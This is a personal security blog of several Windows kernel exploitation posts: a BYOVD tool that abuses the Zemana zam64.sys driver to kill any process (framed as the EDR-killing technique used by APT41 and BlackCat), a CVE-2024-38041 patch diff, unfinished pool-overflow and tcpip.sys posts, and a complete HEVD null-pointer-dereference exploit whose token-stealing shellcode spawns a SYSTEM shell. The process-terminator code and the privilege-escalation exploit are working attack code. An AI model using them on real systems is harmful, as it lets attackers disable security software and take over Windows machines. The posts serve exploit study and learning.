Friday 20 September 2024

zam64.sys BYOVD process Terminator

Recently, Malware authors are using byovd(bring your vulnerable driver) too much to kill EDRs/AVs or to become persistent. This tool was used by Earth Longzhi , a subgroup of  APT41 or Winnti and BlackCat Ransomware group 

They are using the vulnerability in the Zemana AntiMalware software driver zam64.sys and  zamgaurd64.sys . They are the same driver which just different names 😐 .There hashes are same. I am using the zam64.sys  driver in this tutorial , which is found on the loldrivers here . There are lot of vulnerabilities found in this drivers , all due to no proper checking on the user input. I will be using bug in two IOCTL , which is used to kill process.

Reversing zam64.sys

This driver has some more symbols which helps in finding us IOCTL name and its use despite it needs to be obfuscated as it is a antimalware driver.
On opening the driver , we can see that the driver is creating symbolic link with the name as \\Device\\ZemanaAntiMalware. 


So, in the IOCTL numbers list , there are many IOCTLs for different processes but the useful one for us is the IOCTL_TERMINATE_PROCESS and  IOCTL_REGISTER_PROCESS.


This whole reverse engineering is done very briefly by @VoidSec in his blog post blog . But the main thing to consider here is that the processes which are in the trusted process list are allowed to do IOCTL operation.
So, using the IOCTL_REGISTER_PROCESS we will register our process in trusted process list and then  using other IOCTL_TERMINATE_PROCESS we can terminate any process except system process😮 with pid 4.

Register Service 

So, first we have to register the zam64.sys driver as a kernel services for which we will be using CreateServiceA and OpenServiceA  windows api to create and start the service.
 BOOL InstallDriver(char* Driverpath)
{
	SC_HANDLE hSCM, hService;
	SERVICE_STATUS Servicestatus;

	//establish connection to service control manager
	hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_ALL_ACCESS);
	if (hSCM == NULL) {
		printf("[OpenScManagerA] error code: 0x%08x\n", GetLastError());
		exit(EXIT_FAILURE);
		return FALSE;
	}

	//Check if the service is already running and its state that whether it is running or stop.
	hService = OpenServiceA(hSCM, servicename, SERVICE_ALL_ACCESS);
	if (hService != NULL)
	{
		printf("[#] Service Already existing\n");

		//Check the state of the service
		if (!QueryServiceStatus(hService, &Servicestatus)) {

			//error in opern handling or some error
			CloseServiceHandle(hSCM);
			CloseServiceHandle(hService);

			printf("[QueryServiceStatus] error code: 0x%08x\n", GetLastError());
			exit(EXIT_FAILURE);
			return FALSE;
		}

		//If the service is stopped, then start the service
		if (Servicestatus.dwCurrentState == SERVICE_STOPPED)
		{
			if (!StartServiceA(hService,0,NULL))
			{
				//something error in starting service
				CloseServiceHandle(hSCM);
				CloseServiceHandle(hService);

				printf("[StartServiceA] error code : 0x%08X\n", GetLastError());
				exit(EXIT_FAILURE);
				return FALSE;
			}

			printf("[#] Starting service KillPid\n");
		}

		//Close Handles
		CloseServiceHandle(hSCM);
		CloseServiceHandle(hService);
		return TRUE;
	}

	//If service is not created before
	hService = CreateServiceA(hSCM, servicename, servicename, SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE,
		Driverpath, NULL, NULL, NULL, NULL, NULL);
	if (hService == NULL)
	{
		//error creating service
		CloseServiceHandle(hSCM);

		printf("[CreateServiceA] error code : 0x%08x\n", GetLastError());
		exit(EXIT_FAILURE);
		return FALSE;
	}

	printf("[#] Service Created Successfully\n");

	//START THE CREATED SERVICE
	if (!StartServiceA(hService,0, NULL))
	{
		CloseServiceHandle(hSCM);
		CloseServiceHandle(hService);

		printf("[StartServiceA] error code: 0x%08x\n", GetLastError());
		exit(EXIT_FAILURE);
		return FALSE;
	}

	printf("[#] Starting service KillPid ..\n");

	CloseServiceHandle(hSCM);
	CloseServiceHandle(hService);

	return TRUE;}
Just doing some basic check if the service is created before then only start the service and vice versa.

Process terminator

we have to use to IOCTLs IOCTL_TERMINATE_PROCESS and IOCTL_REGISTER_PROCESS having IOCTL numbers as 0x80002048 and 0x80002010.
//Exploitaion part of the zam64.sys driver
//opening the handle to the driver zam64.sys 
HMODULE hZAM = CreateFileA(TerminatorPath,
	FILE_READ_ACCESS | FILE_WRITE_ACCESS,
	FILE_SHARE_READ | FILE_SHARE_WRITE,
	NULL,
	OPEN_EXISTING,
	FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
	NULL);

if (hZAM == INVALID_HANDLE_VALUE) {
	printf("[CreateFileA] error code : 0x%08x\n", GetLastError());
	exit(EXIT_FAILURE);
}

ULONG CurrentPid = GetCurrentProcessId();
ULONG BytesReturned = 0;

//registry CurrentProcessId in the trusted Process List.
int ret = DeviceIoControl(hZAM, IOCTL_REGISTER_PROCESS, &CurrentPid, sizeof(CurrentPid), NULL, 0, NULL, NULL);
if (!ret) {
	printf("[DeviceIoControl] Failed to regsiter in trusted process list Code: 0x%08x\n", GetLastError());
	CloseHandle(hZAM);
	exit(EXIT_FAILURE);
}

printf("[+] Terminating the pid %i\n", pid);

//terminate the process
ret = DeviceIoControl(hZAM, IOCTL_KILL_PROCESS, &pid, sizeof(pid), NULL, NULL, &BytesReturned, NULL);
if (!ret) {
	printf("[DeviceIoControl] Failed to kill process id error code: 0x%08x\n", GetLastError());
	CloseHandle(hZAM);
	exit(EXIT_FAILURE);
}

CloseHandle(hZAM);
Just sending the currentprocessid to register the process first and then sending the pid taken as input from user to kill the process.

you can look at the full code at my GitHub repo  .

Thanks for reading.

References


Thursday 5 September 2024

Patch Diffing Windows ntoskrnl.exe CVE-2024-38041

 So, I was looking for vulnerabilities on the MSRC Vulnerability portal , then I thought to try this CVE-2024-38041 . It was a Information Disclosure Vulnerability. More Information Provided by Microsoft is that an attacker can use this bug to leak one byte of kernel memory. This Bug was found by Le Tran Hai Tung .

I was Patch Diffing this CVE and thought that there is Bug left by windows developers in a function. LOL ,It wasn't My Bad.

Patch Diffing

This Bug was patched in July patch Tuesday on 9 July 2024. I am testing  this on windows 11 22H2 machine. I got the Binaries from Winbindex. Select the Signing Date option for better search.


So, we will look for binaries signed approx. in July or June. 


Here, is the two versions of ntoskrnl.exe  the recent patched version and one update back. You can confirm that clicking at the show Button an Checking the release date of the executable.


You Can see here that this is the Patched version of ntoskrnl.exe released on 09 July.

Load Both Binaries in Ida Pro and let Ida download the Symbols for ntoskrnl.exe and once it has analyzed the Binary, use Binexport to export it in .binexport format.


FINDING BUG

I am using BinDiff to diff the Patch. BinExport is also installed after installing BinDiff. Open Bindiff and load these two binexport files of both patched and unpatched version.

After Bindiff has Analyzed all the functions, select the matched functions and arrange the Similarity.  You will get Something like this:


Here You can see that there are changes in only 5 functions . You check the Graph View of these functions But this function CmpRemoveCellFromIndex  has small graph view which is easy to analyse and looks like some checks has been added .

So, a cmp  instruction has been added before a memmove call , looks life a check is added to prevent copy kernel information to attacker. Lets Look it in Ida.



This is the 1 Byte Information Disclosure Bug CVE-2024-38041. 

Now, These three functions CmCheckRegistry, CmpRemoveCellFromIndex, CmpRemoveSubkeyCellNoCellRef  are related to each other .Actually these are called by CmCheckRegistry  function which is related to windows registry API.
Recently Google Project zero has submitted 39 bug reports in the windows registry, you can read the blog here . Due to the legacy code used in windows registry , it has a lot of bugs.

This function CmpRemoveSubKeyCellNoCellRef  has reference to function CmpRemoveCellfromIndex. and this function has reference to CmCheckRegistry2 which has reference to CmCheckregistry which is called by function cmpCreateHive.


The CmpCreateHive has lot of references but all of these references are related to function CmRestoreKey.

So, To a create a POC for this CVE we can use some windows registry API like this RegRestorekeyA  because the bug is in the restoring the registry Key.

POC: To be Continued.

Further Analysis.

So, Two more functions left that are patched in this CVE. So the first one MivalidateSectionCreate . This function has used a lot by malwares so Microsoft's plan is to kill that so i guess that' the reason of the patch of this function . You can read more about this here

Last Function is NtQueryMultipleValueKey, which is a windows registry API . It Retrieves values from Multiple Value Key. Comparing the Patched and Unpatched version in Ida.

In the Patched version , they have just removed this function 
Feature_Servicing_PostQueryMultipleValueKey__private_IsEnabledDeviceUsage(). This function just check that the caller is called from User mode or Kernel mode. 

My Assumption:

While  analysing this function I thought that there is no check on the user supplied input length so it may leaks kernel information.

It does only basic check on the user supplied length and set it to the length . So, this function  CmpBounceContextCopyDataTocallerBuffer  will copy that length of buffer to usermode and leaks kernel memory.


So, I Wrote this POC to test this :
 #include <Windows.h>
#include <stdio.h>

typedef struct _UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _KEY_VALUE_ENTRY {
	PUNICODE_STRING ValueName;
	ULONG           DataLength;
	ULONG			DataOffset;
	ULONG           Type;
} KEY_VALUE_ENTRY, * PKEY_VALUE_ENTRY;

//NtQueryMultipleValueKey
typedef NTSTATUS(WINAPI* NtQueryMultipleValueKey_t)(
	HANDLE KeyHandle,
	PKEY_VALUE_ENTRY ValueEntries,
	ULONG EntryCount,
	PVOID ValueBuffer,
	PULONG Bufferlength,
	PULONG RequiredBufferLength
	);

typedef void(WINAPI* RtlInitUnicodeString_t)(
	PUNICODE_STRING DestinationString,
	PCWSTR SourceString
	);

NtQueryMultipleValueKey_t NtQueryMultipleValueKey;
RtlInitUnicodeString_t RtlInitUnicodeString;

int main()
{
	HMODULE hntdll = NULL;
	hntdll = LoadLibraryA("ntdll.dll");

	if (!hntdll)
	{
		printf("[-] Failed to open handle to ntdll.dll\n : 0x%08x", GetLastError());
		exit(EXIT_FAILURE);
	}

	NtQueryMultipleValueKey = (NtQueryMultipleValueKey_t)GetProcAddress(hntdll, "NtQueryMultipleValueKey");
	RtlInitUnicodeString = (RtlInitUnicodeString_t)GetProcAddress(hntdll, "RtlInitUnicodeString");

	printf("[+] NtQueryMultipleValueKey Address: 0x%p\n", NtQueryMultipleValueKey);
	printf("[+] RtlInitUnicodeString Address: 0x%p\n", RtlInitUnicodeString);

	// open key to \HKEY_CURRENT_USER\Software\Testdir
	LSTATUS lresult;
	HKEY hTestKey = 0;

	lresult = RegOpenKeyEx(HKEY_CURRENT_USER,
		TEXT("Software\\Testdir"),
		0,
		KEY_QUERY_VALUE,
		&hTestKey);

	if (lresult != ERROR_SUCCESS)
	{
		if (lresult == ERROR_FILE_NOT_FOUND)
		{
			printf("Key not found.\n");
			exit(EXIT_FAILURE);
		}
		else {
			printf("Error Opening Key.\n");
			exit(EXIT_FAILURE);
		}
	}

	printf("[+] Handle to key Software\\Testdir : 0x%08x\n", (ULONG)hTestKey);

	
	
	PUNICODE_STRING Value1 = (PUNICODE_STRING)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(UNICODE_STRING));
	PUNICODE_STRING Value2 = (PUNICODE_STRING)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(UNICODE_STRING));

	RtlInitUnicodeString(Value1, L"lpe");
	RtlInitUnicodeString(Value2, L"test");

	//array of KEY_VALUE_ENTRY structure to hold the data value.
	KEY_VALUE_ENTRY ValueEntries[2] = { 0 };
	
	ValueEntries[0].ValueName = Value1;
	ValueEntries[0].DataLength = 100;
	ValueEntries[0].DataOffset = 0;
	ValueEntries[0].Type = REG_SZ;

	ValueEntries[1].ValueName = Value2;
	ValueEntries[1].DataLength = 100;
	ValueEntries[1].DataOffset = 0;
	ValueEntries[1].Type = REG_SZ;

	/*PKEY_VALUE_ENTRY ValueEntries;
	if (ValueEntries == NULL) {

	}*/
	//printf("[-] ValueEntries.ValuName : %s\n", ValueEntries.ValueName);

	char ValueBuffer[100] = { 0 };
	ULONG BufferLength = 101;

	OutputDebugString(L"ValueBuffer Address: 0x%p\n", ValueBuffer);

	NTSTATUS result = 0;

	result = NtQueryMultipleValueKey(hTestKey,
		ValueEntries,
		2,
		&ValueBuffer,
		&BufferLength,
		NULL);
	
	printf("[-] Return code : 0x%08x\n", result);

	for (int i = 0; i < 100; i++)
	{
		printf("ValueBuffer [%d]: 0x%08x\n", i, ValueBuffer[i]);
	}

	return EXIT_SUCCESS;
}
But it doesn't leaks any memory , then after some debugging in WinDbg . I tried that few weeks ago so I haven't taken any Screenshot to show the length change in WinDbg . I found that there is function between this which is changing the length .

This function calculates the length required to store the multi-value Key and changes the length according to that.

LOL, There is no Bug Here , But It was worth trying and learning new debugging ways and experience.

Thanks  

HEVD-BufferOverflowNonPagedPoolNx LPE from Low Integrity

Hello everyone. Today, we are going to do the HEVD BufferOverflowNonPagedPoolNx  from Low Integrity , which means we cannot use Windows API like NtQuerySystemInformation  to leak the base address of ntoskrnl.exe. I am doing this writeup on windows 10 22H2 machine . 

Original Author : @ommadawn46 has explained this same exploit in his GitHub repo here: repo . I am trying to explain that more briefly in my way in this post. Thanks a lot to @ommadawn46 .

Good To Know:  As far as I know, This is the best paper for learning modern windows Heap i.e., Segment Heap . paper     If you have some time ,please read this paper but I will obviously try to explain as much as I can.

Source Code Review

You can download the source code from and compile the win10-klfh branch , then you can use OSR tool to load the driver.
We are analyzing the BufferOverflowNonPagedPoolNx.c file which has the vulnerability
NTSTATUS
BufferOverflowNonPagedPoolNxIoctlHandler(
    _In_ PIRP Irp,
    _In_ PIO_STACK_LOCATION IrpSp
)
{
    SIZE_T Size = 0;
    PVOID UserBuffer = NULL;
    NTSTATUS Status = STATUS_UNSUCCESSFUL;

    UNREFERENCED_PARAMETER(Irp);
    PAGED_CODE();

    UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
    Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;

    if (UserBuffer)
    {
        Status = TriggerBufferOverflowNonPagedPoolNx(UserBuffer, Size);
    }

    return Status;
}
So, first here is the BufferOverflowNonPagedPoolNxIoctlHandler which takes the user supplied input and send the UserBuffer  and Size  to a function TriggerBufferOverflowNonPagedPoolNx
 NTSTATUS
TriggerBufferOverflowNonPagedPoolNx(
    _In_ PVOID UserBuffer,
    _In_ SIZE_T Size
)
{
    PVOID KernelBuffer = NULL;
    NTSTATUS Status = STATUS_SUCCESS;

    PAGED_CODE();

    __try
    {
        DbgPrint("[+] Allocating Pool chunk\n");

        //
        // Allocate Pool chunk
        //

        KernelBuffer = ExAllocatePoolWithTag(
            NonPagedPoolNx,
            (SIZE_T)POOL_BUFFER_SIZE,
            (ULONG)POOL_TAG
        );
In this function, first it allocates buffer on NonPagedPoolNx  and size is 16 Bytes with PoolTag as Hack.
   if (!KernelBuffer)
        {
            //
            // Unable to allocate Pool chunk
            //

            DbgPrint("[-] Unable to allocate Pool chunk\n");

            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else
        {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPoolNx));
            DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
        }

        //
        // Verify if the buffer resides in user mode
        //

        ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));

        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);

#ifdef SECURE
        //
        // Secure Note: This is secure because the developer is passing a size
        // equal to size of the allocated Pool chunk to RtlCopyMemory()/memcpy().
        // Hence, there will be no overflow
        //

        RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);
#else
        DbgPrint("[+] Triggering Buffer Overflow in NonPagedPoolNx\n");

        //
        // Vulnerability Note: This is a vanilla Pool Based Overflow vulnerability
        // because the developer is passing the user supplied value directly to
        // RtlCopyMemory()/memcpy() without validating if the size is greater or
        // equal to the size of the allocated Pool chunk
        //

        RtlCopyMemory(KernelBuffer, UserBuffer, Size);
#endif

        if (KernelBuffer)
        {
            DbgPrint("[+] Freeing Pool chunk\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);

            //
            // Free the allocated Pool chunk
            //

            ExFreePoolWithTag(KernelBuffer, (ULONG)POOL_TAG);
            KernelBuffer = NULL;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}
Then, It does the basic checks that the buffer resides in Usermode that we send using the IOCTL. In the Vulnerable part , there is the bug : It copies the our usermode supplied buffer to kernel mode buffer that is allocated previously with our user supplied Size.

This is a Heap Buffer Overflow in NonPagedPoolNx.

To be Continued.....

Weaponizing Windows tcpip.sys "EvilESP" RCE CVE-2022-34718

 Hello everyone, so now I started to write some n days exploits to learn more real world exploitations. I found this blog post by @chompie in which she explained the CVE-2022-34178 very clearly. So , I will follow this blog post and some more resources in making the final exploits. I will document every step from zero to RCE. Once again ,Thanks @chompie.

Recon

So, This CVE was patched in September 2022 patch Tuesday. Lets take a look at the Microsoft advisory of this CVE. 
An unauthenticated attacker could send a specially crafted IPv6 packet to a Windows node where IPSec is enabled, which could enable a remote code execution exploitation on that machine.

As usual Microsoft doesn't provides much information but the only thing we get to know from this is that it is related to a IPv6 packet , IPSec and it is a RCE.  So, for getting more info , we have to do patch diffs of the tcpip.sys file before and after patch. We will use Bindiff , binary diffing tool.  It is free and open source.

There is a very handy site that maintains the windows binaries of every update ,Winbindex . You can search for tcpip.sys  file in x64 architecture. 

Here, you can see that the tcpip.sys binaries are shown according to their windows version and KB number. Since we want the binary from September 2022. On the Microsoft advisory page you can see that this patch was released on 13 September. You can click on  show button to get more info about the release date . As we will try this on Windows 22H2, we will look for that.

On clicking on the show  button you can see that this binaries was release on 13 September and the just previous version for that same windows version was released on October. Download these two binaries.
You can any disassembler , I am using Ida Freeware 8.4 sp2 (free) . Load the binaries in IDA and Binexport  the binary so that bindiff can diff it. 

Open bindiff and create a new workspace, File-> New Workspace . Then, click on diff-> new diff and the add the vulnerable and patched file in the primary and secondary diffs.

After the diffs are loaded , click on the matched functions .

Then, click on similarities. 
Here you can see that there is only two functions that has been patched Ipv6ReassembleDatagram and IppReceiveEsp .
The difference in the code in Ipv6ReassembleDatagram and IppReceiveEsp are marked below:

Bug Analysis

To be Continued......

Sunday 16 June 2024

Windows7 x86 null pointer Dereference

 Hello, In the previous post we have exploited the HEVD Arbitrary Write on windows 7 x86. Today, I will be doing the HEVD Null Pointer Dereference vuln . The source code to the bug is here: https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/HEVD/Windows/NullPointerDereference.c . There are lot of post on HEVD , I also looked on some of them h0mbre for making my exploit and learning the exploit methodology. 

NOTE: Null pointer dereference was mitigated in windows 8 in both 32 bit and 64 bit machine  .You can look at windows mitigation here  https://github.com/nccgroup/exploit_mitigations/blob/main/windows_mitigations.md . This mitigation killed almost all the null pointer dereference exploits (maybe be possible).

Source Code Analysis

The function TriggerNullPointerDereference takes the userBuffer from the NullPointerDereferenceIoctlHandler  and 
stores it in the Uservalue and compares it with the Magic Value 0xbadobobo  and if they are equal it the function address of NullPointerdereferenceObjectCallback .
typedef struct _NULL_POINTER_DEREFERENCE
{
    ULONG Value;
    FunctionPointer Callback;
} NULL_POINTER_DEREFERENCE, *PNULL_POINTER_DEREFERENCE;
 //
        // Get the value from user mode
        //

        UserValue = *(PULONG)UserBuffer;

        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);

        //
        // Validate the magic value
        //

        if (UserValue == MagicValue)
        {
            NullPointerDereference->Value = UserValue;
            NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;

            DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
            DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
        }
        else
        {
            DbgPrint("[+] Freeing NullPointerDereference Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);

            //
            // Free the allocated Pool chunk
            //

            ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);

            //
            // Set to NULL to avoid dangling pointer
            //

            NullPointerDereference = NULL;
        }

The Bug is in this part of this part of the where it doesn't check whether the NullPointerDereference->callback  is null or not. 
#ifdef SECURE
        //
        // Secure Note: This is secure because the developer is checking if
        // 'NullPointerDereference' is not NULL before calling the callback function
        //

        if (NullPointerDereference)
        {
            NullPointerDereference->Callback();
        }
#else
        DbgPrint("[+] Triggering Null Pointer Dereference\n");

        //
        // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
        // because the developer is not validating if 'NullPointerDereference' is NULL
        // before calling the callback function
        //

        NullPointerDereference->Callback();

Mapping NullPage

So, If we send some junk value in the userBuffer , then the compares fail and the NullPointerDereference struct remains NULL and it will be executed then . If we put our TokenStealingPayload at the null address then our payload gets executed . We have to map memory at that address for this we will be NtAllocateVirtualMemory windows API to allocate memory at 0x0 and size of 0x1000(4kb). I used the function created by HackSysTeam . 
BOOL mapnullpage() 
{
	HMODULE hntdll;
	SIZE_T RegionSize = 0x1000;

	PVOID BaseAddress = (PVOID)0x1;

	hntdll = GetModuleHandle(TEXT("ntdll.dll"));

	if (hntdll)
	{
		NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hntdll, "NtAllocateVirtualMemory");
		
		if (!NtAllocateVirtualMemory) {
			printf("[!] Failed to Resolve NtAllocateVirtualMemory\n");
		}

		BOOL ret = NtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress,
			0, &RegionSize,
			MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
			PAGE_EXECUTE_READWRITE);

		if (ret) {
			printf("Failed to allocate Virtual Memory \n");
		}
		else {
			printf("[+] ALLOCATION ADDRESS: 0x%p\n", BaseAddress);
			printf("[+] ALLOCATION SIZE: 0x%X\n", RegionSize);
		}

		FreeLibrary(hntdll);
	}
	else {
		printf("[!] Failed to open handle to ntdll.dll\n");
	}

	return TRUE;
}
One thing to notice here is that we have used the BaseAddress as 0x1 beacuse if it is 0x0 it will allocate address at random address instead of 0x0 and this function round up the value to page address boundary so its get round up to 0x0.

Final Payload

Finally we will add our tokenStealing Payload at NULL address + 0x4 because the function is calling at and offset of 0x4.
#include <Windows.h>
#include <stdio.h>

//device path
#define HEVD_PATH "\\\\.\\HackSysExtremeVulnerableDriver"

//CTL macro
#define IOCTL(function) CTL_CODE(FILE_DEVICE_UNKNOWN, function, METHOD_NEITHER, FILE_ANY_ACCESS)

//ioctl number
#define NULL_DEREF IOCTL(0x80A)

// NtAllocateVirtualMemory function typedef
typedef NTSTATUS(WINAPI* NtAllocateVirtualMemory_t)(IN HANDLE ProcessHandle,
	IN OUT PVOID* BaseAddress,
	IN ULONG      ZeroBits,
	IN OUT PULONG AllocationSize,
	IN ULONG      AllocationType,
	IN ULONG      Protect);

NtAllocateVirtualMemory_t     NtAllocateVirtualMemory;

PVOID NullBaseAddress = NULL;
PVOID AddressToBeCalled = NULL;

// Map NULL address
BOOL mapnullpage() 
{
	HMODULE hntdll;
	SIZE_T RegionSize = 0x1000;

	PVOID BaseAddress = (PVOID)0x1;

	hntdll = GetModuleHandle(TEXT("ntdll.dll"));

	if (hntdll)
	{
		NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hntdll, "NtAllocateVirtualMemory");
		
		if (!NtAllocateVirtualMemory) {
			printf("[!] Failed to Resolve NtAllocateVirtualMemory\n");
		}

		BOOL ret = NtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress,
			0, &RegionSize,
			MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
			PAGE_EXECUTE_READWRITE);

		if (ret) {
			printf("Failed to allocate Virtual Memory \n");
		}
		else {
			printf("[+] ALLOCATION ADDRESS: 0x%p\n", BaseAddress);
			printf("[+] ALLOCATION SIZE: 0x%X\n", RegionSize);
		}

		FreeLibrary(hntdll);
	}
	else {
		printf("[!] Failed to open handle to ntdll.dll\n");
	}

	return TRUE;
}

#define KTHREAD_OFFSET     0x124  // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET    0x050  // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET         0x0B4  // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET       0x0B8  // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET       0x0F8  // nt!_EPROCESS.Token
#define SYSTEM_PID         0x004  // SYSTEM Process PID

//Token Stealing payload

VOID TokenStealingPayload() {
	__asm {
		pushad									; Save registers state

		; Start of Token Stealing Stub

		xor eax, eax							; Set ZERO
		mov eax, fs: [eax + KTHREAD_OFFSET]		; Get nt!_KPCR.PcrbData.CurrentThread
												; _KTHREAD is located at FS : [0x124]

		mov eax, [eax + EPROCESS_OFFSET]		; Get nt!_KTHREAD.ApcState.Process

		mov ecx, eax							; Copy current process _EPROCESS structure

		mov edx, SYSTEM_PID						; WIN 7 SP1 SYSTEM process PID = 0x4

		SearchSystemPID:
			mov eax, [eax + FLINK_OFFSET]		; Get nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, FLINK_OFFSET
			cmp[eax + PID_OFFSET], edx			; Get nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID

		mov edx, [eax + TOKEN_OFFSET]			; Get SYSTEM process nt!_EPROCESS.Token
		mov[ecx + TOKEN_OFFSET], edx			; Replace target process nt!_EPROCESS.Token
												; with SYSTEM process nt!_EPROCESS.Token
		; End of Token Stealing Stub

		popad									; Restore registers state	
	}
}


INT main()
{
	//Any Junk value
	ULONG MagicValue = 0xDEADBEEF;

	//open handle to HEVD
	HMODULE h = CreateFileA(HEVD_PATH,
		FILE_READ_ACCESS | FILE_WRITE_ACCESS,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
		NULL);

	if (h == INVALID_HANDLE_VALUE) {
		printf("[!] Failed to open handle to HEVD.\n");
	}
	else {
		printf("[+] Handle Opened Successfully\n");
	}

	// Map Null address for shellcode 
	if (!mapnullpage()) {
		printf("[!]Failed to map NULL Address\n");
	}
	else {
		printf("[+] NULL Address mapped Successfully\n");
	}

	// Address that is going to be executed
	AddressToBeCalled = (PVOID)((ULONG)NullBaseAddress + 0x4);

	PVOID EopPayload = &TokenStealingPayload;

	//Adding the function pointer of TokenStealingPayload
	*(PULONG)AddressToBeCalled = (ULONG)EopPayload;


	ULONG BytesReturned;

	//Calling NULL_DEREFERENCE_IOCTL_HANDLER
	BOOL ret = DeviceIoControl(h,
		NULL_DEREF,
		(LPVOID)&MagicValue,
		(DWORD)sizeof(MagicValue)
		, NULL, 0, &BytesReturned, NULL);

	if (ret) {
		printf("[+] IOCTL opened Successfully.\n");
	}
	else {
		printf("[!] Failed to open IOCTL \n");
	}

	printf("[+] Spawning system shell.\n");

	//shell

	system("cmd.exe");

	return EXIT_SUCCESS;
}
We got the System Shell.

Thanks .Peace.

Wednesday 12 June 2024

Windows 7 x86 Arbitrary Write

 In the Previous post , We have exploited HEVD StackOverflow on Windows 7 x86.Today, I will try another Vulnerability on the same system Arbitrary Write also know as Write-What-Where . I referenced @33y0re blogpost for learning the technique used in this blog. Thanks Connor McGarr.

First look at the header file of Arbitrary Write :

typedef struct _WRITE_WHAT_WHERE
{
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
Here you can see that typedef  is used to create a data type WRITE_WHAT_WHERE  and a pointer to it PWRITE_WHAT_WHERE .  This is a common way in which most typedefs are created in windows. 

Now Looking at the arbitrary_write.c file 
NTSTATUS
TriggerArbitraryWrite(
    _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
)
The function TriggerArbitraryWrite  takes input UserWriteWhatWhere which is a pointer to the WRITE_WHAT_WHERE structure .
       DbgPrint("[+] Triggering Arbitrary Write\n");

        //
        // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
        // because the developer is writing the value pointed by 'What' to memory location
        // pointed by 'Where' without properly validating if the values pointed by 'Where'
        // and 'What' resides in User mode
        //

        *(Where) = *(What);
 Looking at the Vulnerability , you can see that you have have permission to choose what and where . It doesn't whether the where is a usermode address or kernel mode. So , We can now write at any Kernel mode address with any value we want.

What Next??????


The Next question comes to mind that where should write now then. In the previous exploit we wrote our token stealing payload to the return address, but there is no return address here.
There is a way which is the HALDispatchTable. NtQueryIntervalProfile is an undocumented Windows API exported by ntdll.dll that calls the KeQueryIntervalProfile which calls the  2nd offset of HALDispatchTable .



So, using our Arbitrary write we can write to this offset, and then we will call this windows API NtQueryIntervalprofile to execute our tokenstealingPayload.

BUT  KASLR (kernel Address space Layout Randomization) was added in windows 7 ( not surely) which randomizes the base address of ntoskrnl.exe (almost windows kernel) upon every reboot . From there we can get the address of HalDispatchTable + 0x4 , so that we can overwrite it.
So, first we need to find the address of ntoskrnl.exe .

KALSR BYPASS


There is a very useful function provided by Microsoft is the EnumDeviceDrivers
which enumerates all the drivers and put it in a list. Then we will use another windows API GetDeviceDriverBaseName to check the name of the drivers using the address we found using EnumDeviceDrivers. 
Listing all the loaded drivers on the system :

